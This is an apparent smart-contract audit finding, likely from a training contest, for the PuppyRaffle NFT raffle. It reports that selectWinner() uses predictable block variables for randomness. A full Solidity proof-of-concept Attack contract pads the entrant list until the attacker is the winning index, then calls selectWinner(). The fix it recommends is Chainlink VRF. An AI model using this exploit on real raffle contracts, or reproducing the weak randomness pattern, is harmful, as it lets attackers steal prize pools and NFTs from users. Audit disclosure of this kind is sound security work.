PuppyRaffle is an NFT raffle protocol where users enter by paying an entrance fee, may refund their entry, and after a fixed duration a winner is selected and paid a prize while an NFT is minted to the winner. Duplicate entrants are not allowed. The owner can configure the fee recipient address.
Normal behavior: After the raffle duration elapses, selectWinner() should choose a winner and NFT rarity using an unpredictable randomness source that participants cannot influence.
2) Specific issue: selectWinner() derives RNG from msg.sender, block.timestamp, and block.difficulty, which are predictable/influenceable. Attackers can time execution or use MEV to bias winner/rarity selection
Likelihood:
Reason 1 Entropy is attacker/validator-influenceable (L129), so the output is not sufficiently unpredictable.
Reason 2 The draw happens in a single transaction, enabling timing/ordering manipulation at execution
Impact:
Impact 1 When this will occur: During the selectWinner() draw transaction at the end of a raffle round.
Impact 2 Fairness breaks: attackers gain outsized probability of winning and can influence rarity selection
Impact 3 Prize/NFT distribution integrity is compromised, potentially leading to user losses and trust damage
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
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